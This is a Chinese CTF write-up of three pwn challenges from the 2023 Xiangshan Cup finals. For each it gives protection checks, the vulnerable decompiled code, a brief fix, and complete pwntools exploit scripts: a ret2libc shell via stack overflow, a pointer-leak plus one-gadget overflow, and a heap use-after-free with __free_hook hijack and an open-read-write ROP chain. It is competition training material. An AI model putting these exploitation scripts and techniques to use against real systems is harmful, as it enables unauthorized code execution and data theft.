2023香山杯决赛-pwn


题目下载地址:链接:https://pan.baidu.com/s/1s02lruOFCoBf8CUWpMg5qA?pwd=lays

ezgame

检查保护

ezgame  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/ezgame/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

每次砍龙会掉血,砍完血条没掉完就会掉金币,掉的金币可以去商店买道具去砍更高等级的龙,在level2砍成功了以后执行到gets,明显存在栈溢出漏洞,所以修复就是将这里的gets改成read之类的能够控制长度的函数

switch ( option )
  {
    case 1:
      level3(0x32u, 0xAu, 5u, 0x14u, 0xAu);
      break;
    case 2:
      level2(0x64u, 0x44Cu, 0xAu, 0x1Eu, 0xFu);
      puts("Congratulations on defeating the dark sorcerer. Leave your name!");
      gets(v1);                                 // vuln
      break;
    case 0:
      level3(0x1Eu, 5u, 2u, 0xAu, 5u);
      break;
  }

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('39.106.48.123',24804)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

for i in range(100):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'What kind of monster do you want to fight?', b'1')

r.sendlineafter(b'>', b'6')

for i in range(10):
    r.sendlineafter(b'>', b'2')

for i in range(34):
    r.sendlineafter(b'>', b'1')

r.sendlineafter(b'>', b'3')

pop_rdi_ret = 0x0000000000401a3b
pop_rsi_r15_ret = 0x0000000000401a39

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')

p = b'a' * (0x650 + 0x8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4011D2)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
libc = ELF('./2.31/libc-2.31.so')
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[2] + libc_base
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh').__next__() + libc_base
ret = 0x0000000000401016

r.sendlineafter(b'>', b'2')
r.sendlineafter(b'What kind of monster do you want to fight?', b'2')

p = b'a' * (0x650 + 0x8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendlineafter(b'Congratulations on defeating the dark sorcerer. Leave your name!', p)

r.interactive()

how2stack

检查保护

how2stack  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/how2stack/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

只实现了decrypt功能,也就是只能输入1

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // [rsp+Ch] [rbp-4h] BYREF

  init_0(a1, a2, a3);
  banner();
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &choice);
    if ( choice == 2 )
      break;
    if ( choice > 2 || choice && choice != 1 )
      exit(0);
    Decrypt();
  }
  exit(0);
}

decrypt函数中可以输入可控长度的内容,这里存在栈溢出漏洞,修复的话将这里读的长度控制成一个固定值就可以避免溢出了

__isoc99_scanf("%d", &length);
  len = length;
  result = length;
  if ( (_DWORD)length )
  {
    memset(data, 0, 0x60uLL);
    printf("Data: ");
    read(0, data, (unsigned int)length);

程序一开始将data地址赋给了res,最终的输出也是输出res地址中的内容,而溢出也可以控制res,所以劫持了res中的值就可以输出指定地址的内容,如果没有控制resres本身就是一个栈地址

int result; // eax
  char data[99]; // [rsp+0h] [rbp-70h] BYREF
  char chr; // [rsp+63h] [rbp-Dh]
  int len; // [rsp+64h] [rbp-Ch]
  char *res; // [rsp+68h] [rbp-8h]

  init_1((__int64)string, (__int64)&unk_4060, qword_4010);
  res = data;

根据这点,因为输出是根据地址中有内容就输出并且指向下一个地址,可以先将res前面的空间填充掉让while循环到res这个地址来输出res,也就是一个栈上的地址,寻找栈上存在libc的地址,替换掉res就可以输出libc中的地址,最后通过栈溢出控制程序流执行ogg

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(text):
    r.sendlineafter(b'Your choice: ', b'1')
    r.sendlineafter(b'Length: ', str(len(text)))
    r.sendafter(b'Data: ', text)

p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack =  u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
dbg()
add(pay)

r.recvuntil(b'Result in hex: ')
libc_base =  u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)

r.interactive()
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(text):
    r.sendlineafter(b'Your choice: ', b'1')
    r.sendlineafter(b'Length: ', str(len(text)))
    r.sendafter(b'Data: ', text)

p = b'\x11' * 0x60 + b'\xff' * 0x8
add(p)
r.recvuntil(b'ff ff ff ff ff ff ff ff ')
stack =  u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00'))

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 48)
add(pay)

r.recvuntil(b'Result in hex: ')
libc_base =  u64(bytes.fromhex(r.recvline()[:-1].replace(b' ', b'').decode()).ljust(8, b'\x00')) - 0x24083
libc = ELF('./2.31/libc-2.31.so')
ogg = 0xe3b01 + libc_base

pay = b'\x11' * 0x60 + b'\xff' * 8 + p64(stack + 0x68) + p64(0) + p64(ogg)
add(pay)

r.interactive()

camera

最后一题是一道2.31的堆题,先检查保护,沙箱

  camera  checksec pwn
[*] '/home/starrysky/game_2023/xiangshanbeijuesai/camera/camera/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
☁  camera  seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

存在三个功能,add里将申请的堆地址存入heap_ptr并将flag位置1loadheap_ptr存入selecetd_ptr,并且将指向上一个堆地址的地址存入last_ptr,将flag位置2bss段的三个变量整体可以看作一个结构体,分别是heap_ptrlast_ptrflagshow_delete函数show出内容之后delete掉堆并且将flag位置0,漏洞出在没有将last_ptr0,所以修复就可以将这个地址置0,而在修复前这里就存在uaf漏洞,所以可以利用这个uaf进行fastbindouble free,最后进行堆上的orw(回头系统学习一下…复现照抄了

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendlineafter(b'please input your choise', b'2')
    r.sendlineafter(b'Please select a film of your preference within your budget.', str(size))
    r.sendlineafter(b'Content:', content)

def show_delete(num):
    r.sendlineafter(b'please input your choise', b'1')
    r.sendlineafter(b'Do you want to take a few pictures?', str(num))

def load(index):
    r.sendlineafter(b'please input your choise', b'3')
    r.sendlineafter(b'whitch one do you want to load', str(index))

add(0x410, b'a')
add(0x60, b'a')

load(0)

show_delete(1)

add(0x410, b'a')
load(0)

show_delete(1)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecb61
libc =  ELF('./2.31/libc-2.31.so')
free_hook = libc.sym['__free_hook'] + libc_base
setcontext = libc.sym['setcontext'] + libc_base
magic_gadget = 0x0000000000151990 + libc_base

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rdx_r12_ret = 0x0000000000119211 + libc_base
ret = 0x0000000000022679 + libc_base
syscall_ret = libc_base + libc.sym['read'] + 0x10

add(0x410, b'a')

for i in range(8):
    add(0x60, b'a')

load(2)
load(3)
load(1)

for i in range(6):
    load(4 + i)

show_delete(9)

add(0x60, b'a')
load(1)

show_delete(9)

r.recvuntil(b'The film content: ')
heap = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
stack_addr = heap + 0x24f
orw_addr = heap + 0x500

add(0x60 , p64(0) + p64(stack_addr))

for i in range(9):
    add(0x60, p64(free_hook))

add(0x60, p64(magic_gadget))

orw_addr = heap + 0x30f
bss_addr = libc_base + libc.bss()

stack = b'./flag\x00\x00' + p64(0) * 3 + p64(setcontext + 61)
stack += b'\x00' * (0xa0-0x28)
stack += p64(orw_addr) + p64(ret)

add(0xb0, stack)

orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100, orw)

load(6)
load(1)

show_delete(9)

r.interactive()

参考文章:https://www.cnblogs.com/pwnfeifei/p/15819825.html#/


  目录